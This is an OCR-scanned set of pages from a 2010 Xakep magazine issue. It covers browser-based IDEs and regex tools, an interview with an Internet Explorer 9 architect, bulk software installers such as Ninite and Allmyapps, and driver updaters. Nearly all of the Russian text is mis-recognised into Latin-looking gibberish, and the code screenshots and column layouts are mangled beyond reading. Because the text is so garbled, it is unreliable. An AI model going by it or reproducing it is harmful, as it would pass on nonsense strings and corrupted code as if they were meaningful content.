XAKEP 06/137/10

BceM tjJaHaTaM Emacs nOCBSlllIaeTCSI

B YeM ee cp"WKa? 5naeOAap" Flex'y YAanOCb cnenars Q4eHb YAo6HbiM III 6bICTPbl~ ~IHTep¢ei1(_ Tbl MO>KeWb nncar s perynspuoe aupaxeaue B OAHOM none V1 TyT

xe B peanbHOM speMeHVl OTCne>K!;1SaTb, KaK OHO pa6oraer B APyrOM. )J,n$1 nfo60Vl KOHCTPYKlJ,t.1(;1 BbIBO,[lV1TCI1 onv1CaHltIe roro: 4TO OHa neriaer VI KaK Vlcnoflb3yeTCfi.

B peaynsrare perynapxy Moryl COCT3SV1Tb naxe r e, KTD aoofiuie He 3HaeT re opun. Mana ror o, npV1 HaSeAeHVI!II

Ha mo6oVJ Vl3 3neMeHTOB perecna cepavc crcbpaxaer, LlTO VlMeHHO OH nenaer. 06aflAeHHal1 OnLJ,vH1 ua cnY4aVi, ecnn Heo6xD,lJ,lt1MO pasobparscn. 4TO neriaer rpos-oanxoe Bblpa>KeHlI1e, «oropce KorAa-TO AaBHO (0(Ta811111 Tbl caM V1nVl aoofiuie APyroVl 4enoseK, Jlf060e aupaxeune MO>KHO COXpaHltITb H3 nOTOM, Ao6aSV18 ee 80 BHyTpeHHfOfO 6a3y RegExr'a. bnar onapa 3T0(;1 B03MO>KHOCTV1 8 6a3e naxc ce(;14ac e crs 6onbwoe KOJlV1yeCTBO rOTOBblX per ecnos

Ha MHorVie CJlY4aVl >KV13HVl. A 3Ha4111T, BMeCTO Taro 4To6bl KOBbIPSiTbC$1 caMOMY, MO>KHO B3r1Tb Y>Ke rOTOBoe 4y>KOe peureuue. OTblCKaB ero no Knf04eSbiM cno aaa. a nOTOM cpasy xe npoaepar s S ,lJ,e(;1cTBVIVI C Hy>KHbIMII1 BXO,lJ,HbIMVI ,lJ,aHHbIMVI. KCTaTVI rOBOp$1, 60JlbWaSi 6V16mlOTeKa peryfl)"1PHbIX Bblpa>KeHVlW TaK>Ke pacnonaraercs Ha www. regexlib."com,

OHRAHH. 06RAKO. IDE

B 3TOT nepe4eHb I=l HaMepeHHO He CTaIl BKIlf04aTb II1HCTpYMeHTbl ,lJ,IlS1 o6w,eHII1Si pa3pa6oT4li1KOB BHyTpVl KOMaH,lJ,bl, a TaK>Ke nnaHVlpOBaHli11=l npoeKTOB. Vlx

Visual Studio vs. coderun

coderun

PrOje opened successullv

!,Shllre •

Sl new Q Seve "

!l Dovmload ii.!jBuild !> Run .Oebug

Page1.xaml Pagel.learnl.cs

usi:lq Systerr .. Ccli.ecl::'C:ls.Ge!\e~:;.c: 3 us::..nq 5)jscer.,.!.::.::q;

U!:1.nq Sysl:er.:.\l:!.:ldOW3;

'~si:lq SYSI:en\.N::..::dcwS,Cc::::::cls; 1 ·~:;.nG' Syster.:,'·):!..:;.do;';3.Dat4;

e t3:!.nq Sy.:sl;.el!:.w:!..~.dcn .. !'.Occ;;rr.~:::C.3; {I '.lS:l.:l9 5'i3te~.H:<.::ojcwe.lt"".p-..:.c;

10 QS:l:lg" SV.:ster.:.i1.=....""dO')is.:·:ed.la;

\1 llsi:lg" Sy.:s:::e.Il" .. ol.:.r:d-:O'-t$ .xecve . It'"..aqi::q:

II \:Os.i:-:g S'I"l:er.:.i'li~.do",!! .NaV:'O:4t:.O~,; 11 ~!!:L"!g 3YStern.i'i!.:ldo'H':!.S::apes;

15 :-:cme!!pace iIIp=a~ow.3e=;.~pl:.cat:.c:, IG {

",' zo

III :r:te=act.:l.o:: 2~.:.c fa!: Page:.1ta:t.:

III </s=i!.=:p

p·olbll.c pe=t~el cla.!lll f ;~_ ,

Output call Stack watch

~Clear

C(:deA<~:> S:;ud.i~ tl .. r.1.,,:> LO! 3 .. 1:.1;. ~r"'J4"~ 4ir .. <::~~r:; "" ... =d:i:c:;:l<-

qY"",x::: .. h.lOFc·.·>ili.;;{q\a~ra.,,<: ....... ::;";:pli<: ... ::i<:,,\",j~F3::"'"'~""4plic ... :;i"" ;:·::<:3"<::: :::.1 .. " "<:~i"d ~u<:c"~5=,"1!'i

XAKEP 06 1137/10

PeAaKTOp Bespin BCTpOeH B CpeAY Kodingen

SNIPPLR

"EXTRASDESIGlletOG~BOI.!TSNIPPllI

it, ecce soppel5 I ucp.nar code sruopets I your ecce so D (

Cneunansao An" PH P ecrs ew,e O,lJ,Ha ,lJ,06POTHa" IDE B fipaayepe

- 3TO phpAnyware (Rhpan)'w~@,neLi. Cpena nonnepxaeaer aarpysxy cpafinoB FTP,

Line COlumn' VlMeeT nOACBeTKY CVlHTaKC"Ca" B 6YAYll\eM obeuiaer aBTO,lJ,OnOnHeHVle KOMaH,LI.

-

WELCOME TO SNIPPLR

Snlpplrisapubllcsol.tn::eOOC·I;. 'thalglvesyoo a plate to Slllre and organlze all the little pieces 01 ceoe met youuse eeca oav sesr ct eu ~lelsyoushareyourcadesnlppeISwl!ho!hercadersal"Hltle5igners Smpplrwastleveloped by the same clever pecpe wno tltJiIt Raven's ,. • fOf SEO am:! Sxlall.leCIlal.laf1(eung

Pen03HTapHH rOTOBblX CHHnneTOB aa MHOrHX Sl3blKaX npOrpaMMHpOBaHHSI

04eHb MHOrO, OHli1 pa3Hbie VI -rauie scero nriaruue. 5=l >Ke yaep e u. 4TO 8 60nbWll1HCTBe CnY4aeB MO>KHO He CTpO~Tb YMHble ,lJ,VlarpaMMbl Vl rpacpil1KVl, a aocncru.aoBaTbC5=! npOCTOV! CVlCTeMOV! ,lJ,nSi ynp as ne+u s 3a,lJ,aYaMVl BpOAe Te amera (www.teamer.rui. B nf060M cnyxae y Hac e cr s OT)J,enbHblV! nOBO,LI nor o ao pcrr s 06 li1HCTpyMeHTax nnaHVlpOBaHVlSl BpeMeHVl iI1 ynpasneHVl$1 aana- 4aMII1. Ecru: Te6e ~HTepecHbl c ncc ofiu yaeflli14eHVlS1 3cpcpeKT"BHOCT", n"w" HaMI .] :x:

Code

,51 New ]] Refresh d'ZlWPFBrOwserApplication

8'~WPFBrow~rAPplicatiOn ct:..::dReferences

<!> Properties

,j;j j] ;,pp.xaml '1:1,1JPagel.xarnl

_)WPFBrcwserApplicatiOfl.csproJ.u~r

srrcrs ust

OOErrors (,fiOWarnings 'lJOMessages Description

File

LOGIN J REGISTER

userrame;

Password:

SHARE SNIPPLR

£-. ~I

-~

• 3Myn"~"" Python"HTepnpeTaTOpa, npu- 4eM peanVl30BaHHaSl ua Silverlight, nocrynua

Ha carrre Try Python (www.trl'm1b2D.org),

A finaronaps Utility

Mill (ULilitymdl.(om)

"3 Python-cxparrra MO>KHO nerxo cncnars se6-cepB\I1C.

• 3aW~Tb ¢awnbl Ha FTP-cepBepTaK>Ke nerxo -repea Be6. An" 3TOIO np~rO,lJ,II1TCSi Kn"eHT net2ftp (www, neI2ftp.comi.

~ 033

• • CTEnAH «STEP" !<1Jlblt1H TWITTER.COM/STE PAH

@it fil'ternet Explorer 9

~ inte'rnet Explorer-S

:4;; Internet I::Xplorer~

~ Internet Explorer'S

re' inie'rnet Explorer9

@it Internet Explorer'S

@it Iil'ternet Explorer 9

~ Internet Explorer 9

~ i;t;rnet Explorer'S

@ Internet Explorer'S

~internel

@it Internet Explorer 9

l{or.l1a Ka)f(.l1bIM BTOPOM HOMep pyraewb Internet Explorer. XOlleTCSI nOCMOTpeTb B rnaaa TO My lIenOBeKY. KTO 3TOT Gpay3ep aenaer. ~ nOCMOTpen! :) B anpene B MOCKBY npsneren AneKC MorHneBcKHM - O.l1HH H3 apxHTeKTopoB IE H cneUHanHCTOB

no CTaH.l1apTaM. KOTOPblM npennaraer H YTBep)f(.l1aeT TeXHOnorHH B paMKax cBoeM paGoTbl B KOHCopUHYMe W3C OT HMeHH Microsoft. ~ pewHTellbHo HacTpoHncSi nOMYllHTb AneKca

no nOBO.l1Y HOBOM BepcHH Internet Explorer. H BOT liTO OH MHe paCCKa3an.

KonOHKa penaaropa

OnT"M"3"pOBaHHbIGi riocryn K 06beKTHoGi MOAe- npo 6E30nACHOCTb aecs network-rpad»,«. C BpeMeHHblM TeCTaM".

llVl, a TaK>Ke KOMnVlmH..I,VlIO 8 63KrpaYH,lJ,e - 3TO nOH5'lTHO, 4TO B nporpauve Vl3 MHorV1X MV1ll- C rpacpV1KaMV1. Bce 3TO MO>KHO nOCMOTpeTb Vl

naer ow,yrV1Mbllll pesvnsrer. 6eH4MapK 5unSpider nV10HOB CTPOK MO>KHO HaIllTV1 npobnevu. Ila, B npcaaannaapoaan; Korna SbllllAeT panas? He

nOK33b1BaeT, HaCKonbKO 5blcTpee cran IE9 no fipaysepax 6blsafOT oWVl6KV1, VI ria, uexoropue V13 CKa>KY, AasalllTe ,lJ,O>K,lJ,eMC5'I 6eTbl.X

AneKc Mor~l1eBcK~H - OA~H

H3 apX"TeKTOpoB Internet Explorer

npo OCHOBHblE ACnEHTbl

CaMb11ll 60nbwoIII aKLJ,eHT S HOBOIII sepcVlV1 IE

Mbl ,lJ,enaeM Ha ynYYWeHVle npOVl3BO,lJ,V1TeflbHOCTi'l i'l nOAAep>KKY crasnaproa. ECflVl nOCMOrpers Internet Explorer Platform Preview I~ microsoft.com/testdrivel. TO MO>KHO Y>Ke celll4ac Oll,el-IVlT~, HaCKOflbKO WYCTpee pa60TafOT CTpaHVlLJ,bl co CJlO>KHOY1 rpa¢V1KO~. 3TO CTaJlO ,lJ,OcrynHblM 3aC4eT Direct2D Vl npsvoro V1CnOJlb30BaHV1S1 GPU. nOMIIIMO sroro Mbl nOllHOCTblO nepenacann ABVl>KOK JavaScript. '{ro KacaeTCS1 nOAAep>KKV1 CTaH,[I,apTOB, TO B 3T0j';1 Bep(I,1Vl Mbl pearuisyeu npaKTWleCKV1 ace. YTO xcrar nlO,lJ,\I1 npV1 C03,[1,aHV1V1 caGiTOB: CSS3. 06beKTHYlO MOAenb. SVG. MHor"e Belli" "3 HTML5.

npo np0I13BO,llI1TEJ1bHOCTb

ECTb MHoro cnocoooe cner ars fipayaep MeAneHHblM :I. An" roro, 4T06bl cnenars ero 6blCTpee. Heo6xo,[l,VlMO Vl3YYV1Tb Te MOMeHTbl, «rropue npVl SblnOflHeHV1V1 CTpaHV1ll, Tpe6yIOT MHora BpeMeHVl. Hanpusiep, O,lJ,V1H V13 Sa>KHbIX BonpOCOB npn BblnonHeHV1V1 Javascript - KorAa V1 KaKYIO yaCTb CKpV1nTa KOMnV1fllt1pOBaTb. CKOMnV1JlV1pOBaHHblj';1 CKpVlnT pafioraer 6blcTpee, HO KOMnV1llRLJ,V1R 3aHVlMaeT BpeMS1. ECflVl H\I1yero He KOMnV1JlVlpOears. TO CKpV1nT 6e3 l..I,l!1I(JlOB pafioraer 6bICTPO, a C lI,V1KJlaMVl - Me,lJ,JleHHO. ECJllt1 Ka>K,lJ,aS1 CTpOYKa BblnonHS1eTCR ronsco O,lJ,~IH pas. TO KOMnVlJlRlI,V1S1 - 3TO nYCTaS1 rpara BpeMeHVl. Taxoro pona peWeHV15=! BnV15=!IOT ua npoaseonareneuocrs peanbHblx caGiTOB. An" IE9 Mbl C Hyn" nepenV1canV1 06pa60TKY JavaScript. HOBbl~ ,[I,BV1>KOK Ha3b1BaeTCS1 Chakra. OH ucnonsayer CV1JlbHO

~ 034

XAKEP D6 /137/ 10

cpaBHeHV110 C IE8. Ho no pesyrusrarau roro xe TeCTa IE Me,lJ,JleHHee, lJeM Chrome \I1JlV1 Opera. Tyr Ba>KHO nm-VlMaTb OAHY aeuus: Jl1060Y1 TeCT, KaK 6bl npa8V1IlbHo OH HV1 6blIl COCTaBfleH, ace paSHO CV1llbHO OTllV1yaeTC>=I OT peansuoro MV1pa Mbl npoboaann V1rpaTbCR C napaverpavw, HO, Bbl\l1rpblBaR 8 TeCTa x Sur-Spider; nony-rann 60nee Me,lJ,JleHHOe BblnOJlHeHVle peaJlbHblX crpa-u-u.

3TV1X oWV160K MOryr 6blTb V1CnOJlb30BaHbl xaxepaMV1. Y Hac ecrs npoo«. koropue cnell,l.1aJlV13V1- PYIGTGI V1MeHHO Hd 6e30naCHOCTV1. ECJlV1 KaKolllTO nporpavvwcr nnurer KOA \11 roaopur. 4TO B 3TOM MeCTe HY HVlKaK He MO>KeT 6blTb OWV16KV1, 3TV1 pefisra 6blCTPO 06HlCHS1IOT eMY, KaK 3TOT «6e30naCHblW KO,lJ,» 6Y,lJ,eT B3JlOMaH. 60JlbWaR roJlOBHaR 60Jlb - IE6. OH 6blJl XopOW ,lJ,Jl5'l caoero speMeHVl, HO «orna 3TO 6bIJlO? Mbl roSOpV1M: «Ilepecraasre. nO>KaJlYY1CTa, V1cnOflb30BaTb IE6». 8 KOHu,e KOHLJ,OS, nOCTaBbTe Chrome, a nOTOM v»: C Hero nepexmo-ratirecs i-a Internet Explorer .]. K CO>KalleHV1IO, Mbl He MO>KeM npl!1WTVI V1 HaCVlllbHO nOCTaSV1Tb Ha saw KOMnblOTep ,lJ,pyrolll fipayaep - MHorV1e npV1nO>KeHII1S1 3aTOyeHbi V1MeHHO nOA e-ye aepcmo IE. KCTaTV1, Internet Explorer 9 He 6YAeT paborars B Windows XP; nOMVlMO npo-rerc 3TO CBlBaHO C 6e30nacHoCTblO. B 3TOIII BepcV1V1 Windows HeB03MO>KHO ucnoneaoaars DEP " ASLR. Ilpyras Ba>KHa" npVlYV1Ha - OTCYTcTsVle Oirect2d, TO ecrs HeS03- MO)!(HOCTb VlcnOflb30SaHlt1S1 rpacpl!1YeCKOrO YCKOpeHV1R.

npo ACID 11 ,llPyrl1E TECTbl

nOKa3aTeneM nOA.D,ep>KKV1 CTaH,lJ,apTOB MHorV1e C4"TalOT TeCT ACID3. HO Y IE9 B HeM pesynsrar noxa He60nbwoii. OTKPOIO cexper. VI ACID 2, " ACID3 - 3TO 04eHb "HTepeCHble TeCTbl. KOTopble Ha caMOM nene MaJlO YTO noneauoro TeCTV1pylOT. 5allbWVlHCTSO V13 3TV1X CTaHp,apTOB, nOA.D,ep>KKa KOTOPblX npOBepReTCS1 - 3TO JlV1Wb pa3BV1BalOw,VlecS1 rexuonorua. HeMHorVle V13 KOTOPblX VlMelOT craryc o¢"~"anbHbIX. TaK"M 06pa30M, ACID3 npoeepaer ckopee He nOAAep>KKY CTaHAapTOB. a noruiepxky HeKV1X TpeH,lJ,OB - rex seLl\ev" KOTOpue B03MO>KHO KorAa-HV16Y,lJ,b 6yp,yr craunaprn- 30BaHbi. npoGiAeT n" IE9 Ha ACID3 100%7 He Mary CKa3aTb. Mbl He nblTaeMGl noaoruars 6paysep ,lJ,llS1 KoppeKTHOY1 paboru B 3TOM TeCTe. Korna Mbl 3apeJlV13V1M IE9, pesynerar 6YAeT npJlI6nV1>KeH K MaKcVlMYMY, HO ecnV1 KaKV1e-TO recru 6pay3ep

He 6ygeT npOXO,lJ,V1Tb, TO TOJlbKO nOTOMY, LlTO Mbl

He cornaCHbl, 4TO 3TOro CTaHAapTa He06xo,lJ,V1MO npV1,lJ,ep>KVlBaTbCR, llVl60 3TOT CTaH,lJ,apT ew,e He cran ocpll1l1,lI1allbHblM. Korna Mbl pa3pa6aTblBaJlVl IEB, TO TOJlbKO ,D,JlS1 npcaepku C55 Mbl C03,lJ,aJlJ.1 60nee 8000 TECTOS

npo 4EROBE4ECHI1H nO,llXO,ll

KaKoe-To BpeM" HaA IE B Microsoft paborana MallO, a HawV1 KOHKypeHTbl TPY,lJ,W1V1Cb V1HTeHCWBHO. ~ HaAelOcb, 4TO ce~4ac Mbl HaYYVlJlVlCb cnyuiars nlOp,eJi1, V1 CeY14aC ,lJ,enaeM ace, 4TO ,.o,eY1- CTBV1TellbHO Hy>KHO. 8 HOBOIII BepCII1V1 nOS1SV1TCfl V1HCTpYMeHTbl AllS1 pa3pa60TYV1Ka: HanplIIMep, Network Monitoring Y>Ke ecrs B npeeuo. 3TO He TO )l<e cavoe. 4TO Fiddler Iwww.fiddler2.comJ. HO 6JlJ;13KO K TOMy. Ha>KV1MaeWb KHonKY - V1 8V1,lJ,II1Wb

US!

facebook.com gid=326597299563 lpynna Ha Facebook

~1

~~mVri~III\1 I! 11II II! IIII1

101000 86 18164 2

" .7

Windows

o YCTaHO!'iK3 0 o6HOBlleH~e 0 Adobe Flash Player

o Sun Java

o Aboba Acrobat Reader

o QuickTlme

Or xoro.

KOMY

:: - ... -[ (Ilt'AekCM9:CTatl33H3'19HI1R) I

000012117]

. L2HZJ lZl0lZHZI

6blCTpaJi YCTaHOBKa H 06HOBneHHe npOrpaMM

HOr,ll,a-TO ,lI,aBHO YCTaHOBKa npOrpaMMbl B Linux npeapauianace B uenblH 06pH,lI,. Mano 6blnO HaHH1 H CKallaTb HCXO,ll,HHK, Heo6xo,ll,HMO 6blnO ero BPYlIHYIO cndpars, Y,lI,OBneTBopHB HeHaBHCTHble 3aBHCHMOCTH. Ieneps He Ha,ll,O ,lI,a>Ke KallaTb ,lI,HCTPH6YTHB - ,lI,OCTaTOllHO Bbl6paTb nporpaMMY B MeHe,ll,>Kepe naKeTOB H HamaTb Ha KHonKY «YcTaHOBHTb». B BHH,lI,e me nO-npe>KHeMY npHXO,ll,HTCH caMOMY HCKaTb ,lI,HCTPH6YTHBbl H nOTOM BPYlIHYIO YCTaHaBnHBaTb CO~T. (J)aKT!

E CTb MHO>KeCTBO nplll4lt1H, nOY€MY Microsoft He peanusosana HltI4ero cxoxero

C MeHep,>KepOM naKeTOB. 06cy>t<p,aTb 3TOT sonpoc MO>KHO noaonsao norr'c. HO 3a4eM? 3aH51Hle 3TO He6narop,apHoe III enaa nV! nonesuoe. BMeCTO sroro npennaraio

3aH51TbGl ,o,enOM lt1 nonpofioaars obycrpoan, Cl!1CTeMY, CpO.D,HlIl Tall!, I..:TO Vlcnonb3yeTc51 B

mo60M cOBpeMeHHOM i.inuxe MeHeA)I(ep nEPB~YHAH YCTAHOBKA COll>TA

naKeTOB n03Bon51eT 6blcTpo Hailln1 III YCTaHOBlt1Tb HeT HV1yero 60nee yroMll1TenbHOro VI CKY4HO-

npiIlJlO>KeHiIls:l, n03>Ke YCTaH08i1lTb anAe~Tbl, a 8 ro, LleM nepSiIl4Has:l YCTaHOSKa nporpavv Ha

cny-iae Heo6xoAlilMOCTill - npaannsuo Y)J,amnb AeSCTseHHO YlllcrylO cncreuy. Her. npaaaal

COepT. 3a)J,a4a ~CHa, ill pas y>K S BiIlHAe HeT HV1L~ero Aa.>Ke ecna He 6pOCaTbGI c MeCTa S «apsep.

nO)J,06Horo. TO peanill3yeM 4TO-HiIl6Y)J,b nO)J,06Hoe YCTaHaSm1Bafl cpasy sees Heo6xOAV1Mbliil coor

CTOPOHHV1MiIl cpencraava. [XOT51 eCTb iI1 TaKiI1e ¢en1WiI1CTbl1. a nenars 3TO

nOCTeneHHO, TO see paSHO 6a30BblVi Ha60p npor,

XAKEP 06/137/10

6e3 KOTOPblX Hy HV1KaK He o60C1H1Cb, sce paSHO 3aCTaBlt1T nOYYBCTBOBaTb ce6S1 CTaHOYHlIIKOM rpersero paapsna. Tpn onepaunu: «Crxpun caC1T», «cxa-ran AV1CTPIo16YTlIIB», «nOCTaSV1fl nporpaMMy» - VI TaK ,ll,Bagu,aTb paa sa cMeHY. Epaysep. MeCCeHi\>Kep, KOl\eK" " aYII"O/B"AeO npourpuaareru-. 4"TanKa I\n" PDF, ocjmcHbl" naser. aHTV1Sl!1pyC, nocnea-me BepCl!1V1 Java/. NET Framework/Flash, apxnaarop - l1>KeHTnbMeHCKl!1C1 Ha60p HlIIKTO He QTMeHS1fl. TYT V1 aa uenyto pa504YlO CMeHY MO)KHO He ynpasWTbCs:I! :1 ECTb SepOs:lTHOCTb caarurrs nopausuie. ecnn non PYKO" ecrs Dailysoft C nocneauero A"CKa ll. HO TaK lt1 6paK nponycnrn, MO>KHO: a BAPyr- HOSas:l sepcas auu.nc? CIlOBOM, e,ll,lt1HCTSeHHblC1 aapuaHT - nocnars 3Ty HlrOMOTlt1HY IleCOM V1 lt1CKaTb saplo1aHT IlYYWe.

VlTaK, )J,06a sn>=l ill B 3aKfla)J,KJ.1 oHIlai-1H-cepBItIC wvvw.ninite.com. 3TOT HeAaBHO nOS'lBIo1Bwllli1cS1 pecypc yxe ycnen 10136aBIo1Tb MeH5=I OT HeCKonbKIo1X -iacoe MyyeHVllil 1-1 6e3AapHoro speusnnenpOBO>K)J,eHlt1>=1. K.aK? Vlp,e5=l OyeHb npccra. Ha e)J,l!IHCTBeHHOC1 CTpaHl!ILI,e nccryneu cnV1COK pa3IlV14Hb1X npeV1Myw,eCTBeHHO 5ecnnaTHbiX

I-1Ill!l orkpurux npVlnO>KeHVlC1, KOTOPblC1 pa361.-1T no rpynnau: «Epayseper», «6e30naCHOCTb», «Paspaficnca» 1II T.A. OT Te6s:1 rpebyerca Bbl6paTb HY>KHble YTVlnl--1Tbl lt1 Ha)l(aTb Ha KHonKY «Get Installer». B pesynsrare aa HeCKonbKO KfllllKOB MbIWl!1 Mbl nony-raeu YHlt1aepCaflbHblVl lIIHCTaflflS1Top, KOTOPblVr pa30M YCTaHoBVlT ace Bbl6paHHbie nporpaMMbl. CaM YCTaHOSUJ,I.-1K ae01T COBceM HeMHoro 101 nO)J,Ka4lt1BaeT see He06xo,lJ,lt1Mble ,o,aHHble npSiMO BO BpeMSi ycraHOBKVI. OT,o,eIlbHbie MOMeHTbl. KOHeYHO, HaCTOpa>KlIIBaIOT. Hanplt1Mep. KTO era 3HaeT, '-ITO 3aKa- 4V1BaeT 3TOT ycrauoauna«? Ho Be,o,b KaK y,o,05HO! K CO)l(aIleHlt110, VlHCT3nns:lTOp He OCT3Bnl=leT AaHHble, xoropue CKa'-lan Ans:! YCTaHOBKVI, n03TOMY, yasr. He nonY41t1TCS1 C03AaTb offline-YCT3HOBW,VlK

XAKEP 06/137/10

......... V'''''''11",.sv.'*''''l W .. Iino;I:._ \"~"'_""" w ... ~",_

"'_1<00:'_ w"''''O",_ w......,"''''''.''''''''' w .. ....,"' ...... n:o..d "''''''''11'''.w..~ \· .... bnII"'"" .. ·_ ""''''0'''0''',,,,,"," W ... "'_

~

I

nOKa OAHM npOrpaMMbl YCTaHaBlIMBalOTCSl, Ninite 3aKa'lMBaeT APyrMe

~all",yapps ..... 1>< .. , ...... -..

~- .... - ""-

cww.~ ~t: @

'------~,-(OXpaHeHHbli1 A>KeHTellbMeHcKMi1

Ha60p aUmyapps

lt1 aanncan, ero ce6e Ha ¢IlewKY, HO raxas OnLJ,lIIS1 nocrynua B nnaTHOVl BepcVH1 cepe-tea

npOI{A~I1BAEM I1,llEIO

npl!1fllllHKOBaTb cnWCOK nplllIlO>KeHVlC1 K (BOeMY IlV1YHOMY aKKaYHTY [perVlCTpaLJ,V1Si 6ecnnaTHaS1J. nOMVlMO roro B CIIICTeMe MO>KHO YCTaHOBlt1Tb AonOflHVlTenbHblC1 AeCKTOnHbllil KnVleHT, nocne -rero B "HTepcjle"ce Allmyapps 6Yl1YT OTMe4eHbi YTl!1m1Tbl, «oropue Y>Ke VlMelOTCSi B Clt1CTeMe V1 He HY>K,[\aIOTCR a YCTaHOBKe. BnpOl..leM, Aa>Ke npu TaKOM paCKna,o,e YHVlsepcaflbHbllil lt1HCTaIl.nSiTOp - 3TO ace >Ke He MeHeA>Kep naKeTOB.

Ljyrb np"6n"3"TbC" K "Aee MeHeA>Kepa npunO>KeH"" n03BOn"eT ZeuAPP [blog.zeusofLnet/ zeuapol. peaIl1ll30saHHbli-1 S SVI,Ll,e )J,eCKTOnHOro npl!1nO!KeHVlR. Pa3pa60TKa TaK>Ke npennaraer Wlt1POKlt1t1t Cnlt1(OK 6ecnflaTHbiX V1 or cpsrrux nporpaMM, «oropue MO>KHO 6blCTPO YCTaHOBVlTb B

nOMVlMO OTCyrCTBV1Si o¢¢.natllH-YCTaHOBKVI B 6ecnnaTHoVr sepCVlIII Ninite ecrs ew,e OAlt1H HeAOCTaTOK - lIIHCTanns:!TOp C HY>KHbIMlt1 npVl.nO>K€HV1s:1MVI Ka>KAbltll paa nplllXO,ll,lt1TCS:! COCTaBfliHb 3aHOBO. CTpaHHO, YTO pa3pa60TYlt1KW He ,o,06aSVlIlIII npocTeillwylO Clt1CTeMY perwcrpaui-n, '-IT06bl MO>KHO 6blno 3anorVlHVlTbCSi VI cpasy CKa4aTb VlHCTaflnsrrop Anl=l Kor)J,a-TO Y>Ke COCTaBIleHHoro Ha60pa nporpaMM. Vl36e>KaTb nO,lJ,06HOtll onnOWHOCTVI YAanOCb napH$1M 1113 CDpaHLJ,WI1, «oropue peanu- 30BaIllt1 aH3IlOrW-lHblili cepauc - www.allmyapps. com. no CYTV1 3TO TOT >Ke Ninite, TO.nbKO C ew,e 60IlbWV1M KO.nVll..l8CTBOM CO¢Ta V1 B03MO>KHOCTblO

YCTaHaBJlIIIBaeM III 06HOBJl~eM Apa~Bepa

nO)l(anyVl, caMoe HeHaSVlCTHoe ne.no nocne nepeYCTaHOBKV1 CVlCTeMbl - 3TO naxe He lt1HCTailIlSiLl,V15=1 scex nporpaMM. HeT! ECTb MOHCTP KYAa xyxe - ApaC1sepa. Kor,o,a Si anepesre yBVI,o,en Windows 7, XOTenOCb 3aKpVlLlaTb: «Caepuuinocs!». Ila, Cl!1CTeMa Llepe3 Windows Update norarwaaer npaKTVI'-IeCKVI ace He05xD)J,V1Mble nposa. V1 B 3TOM $=I Y>Ke He pas y6e>K)J,aI1C$1. B pesynsrare Y>Ke He npItlXO,lJ,VlTCS:! IlOMaTb ronosy, KaKVle Helo13BeCTHbie A€BaVrcbl nponvcanncs B MeHe)J,>Kepe YCTP0VrCTB - see YCTaHaBllViSaeTC$1 aBTOMaTOM. Ho KaK 6blTb

C paHHlIIMV1 sepCV1S1MV1 BlIIHAbl 1II KaK B npVlHLI,V1ne 06HOBlt1Tb ApalilBepa? Haw OTseT - DriverMax [www.tnnovatlvesol.com/d!"!vermax]. 3Ta He60flbwa~ YTVI.nVlTa n0380flV1T 6blCTPO CTSiHyrb V13 VlHeTa nOCIle,lJ,HIOIO sepcV11D APOS AIlSi caMblX pasaux YCTPOtllCTB. 3a6y,o,b npo MY4wTenbHbie nOVlCKVI penkor o ,o,paVrsepa VlIllll )J,aBHO nponasurero Al!ICKa Vl3 ({Kop060'-lKIII»

- npocro c03gar4 6ecnflaTHblVr aKKaYHT Ha cepauce V1 cKayalil ace, YTO HY>KHO. Bnpo-rev. nporpaava 6YA€T nonesua naxe B TOM cny-rae, ecnu Tbl TaKOMY nOAxo)J,Y He nosepseun- 101 npermo-urraeurs CKa4V1saTb ClIICTeMHO€ no C O¢VlLJ,VlaflbHbIX Car4TOB. Orivermax \IIMeeT ew,e O,OHy Ba>KHYIO cPYHKU,V11D - 63Kan acex ApaC1sepoB s CVlCTeMe. n03TOMY nccne nepeycraaosKV1 CVlCTeMbl VlHCTa.nIl$1LJ,VlI1 acex ApailisepoB 3atllMeT acero napy MV1Hyr 1II norpebyer MVlHVIMyM YClIIIlVI Vr. XOyeTCSi npVl3HaTbC$=I, 4TO napy pas npauaepa C nOMow,blO DriverMax Si aceTaKVI He HaXO,QVlIl, HO 5blCTPO !IICnpaBIl51n cu ryaumo C nOMOLLl,bfO APyroi-1 yrVlm1Tbi - Device Doctor [www.devicedoctorcoml.

~ 037

ZeuApp - Program chooser

File Help

Archfvers Audio Video Chat - 9,1 Internet CD Burners

Clam',\lin

Ilmap

ClamWin is a free Antivirus program for Microsoft Windows.

I Download II Vis~Wetls~e I '15.21

Nmapisa free and open source utility

for network exploration or securily auditing.

Eraser

I Download II Vis~ WebsHe I '10.95.3

free open-source dsk enrrvption software for Windows.

TrueCrypl

Eraser is an advanced security tool fur Windows.

I Download II VisrtWetlsrte I '16.0.6.1175

I Download ) I VIS~ WebsHe I ve.ae

Wiresnarkis tneworld's foremost network protocol analyzer.

avesu Home EdHion

avast! Home Edition-free Antivirus represents tne best fREE enuvrus protection currently evejeble cn the meiket.

I Download I! VlSitWebsile I v5..0.462

I Download I I Visit Website I '11.2.7

YCTaHOBKa CBe>KMX BepCMH security-nporpaMM B OAMH Kl1MK

Aaro-annear OT GoogLe

Ecm'l Tbl KOr,o,a-HlI16y,o,b CKaYV1Ball Google Chrome, TO 3HaeWb: BMeCTO o¢qma~H-,o,V1CTpJ..16YTV1Ba bpaysepa Tbl cnuaaeu.s llJ;1Wb 060Jl04KY-J;1HCTanmnop, KOTOPbl]:;J Y>Ke, B CBOIO o-repens, B 3aSII1CIIlMOCHI OT OC VI npovux napai-rerpoe. ,o,OKaYVIBaeT ace He06xo,o,V1Moe. A ecnn 3axo,o,lI111 KOr,lJ,a-HII16Y):lb Ha crpa+uuy pack.google.com, TO, HaBepHoe, 06snaTe11bHO ofipauian BHII1Ma_HlI1e Ha riperpaMMY, KOTOpa5=! pa30M YCTaHaBl1ll1BaeT J.1111l1 06HOBlls:JeT B CII1CTeMe npO,lJ,yKTbl OT Google. Taxas CII1CTeMa II1HTelllleKTyallbHo~ YCTaHOBK\.1 \.1 aeroannetira Ha3bl~ BaeTC" Google Update """ omaha. 3TOT npoexr pa3B"BaeTC" nOA OTKPbITOi'i llJ.1u,eH3It1eill 111 scerna nocryneu C cOde.google.com/p/omaha. Ba>KHo. -rro 3TO He npocro nporpauva. a npOAYMaHHas:J B apnneKTypHOM nnai-e CIllCTeMa, n03B011s:JIOw,as:! nerxo YCTaHaB11V1BaTb J..1 06HOBJl$1Tb pa311VlYHble nplllllO>KeHlt1s:!

- TO, qero He XBaTaeT B cospeMeHHoili BVlH,IJ,e, 4T06bl C,IJ,eJlaTb pen03l11TopVli:1 C CO¢TOM 111 MeH€,o,>Kep naKeTOB a-na Linux

~ dvd

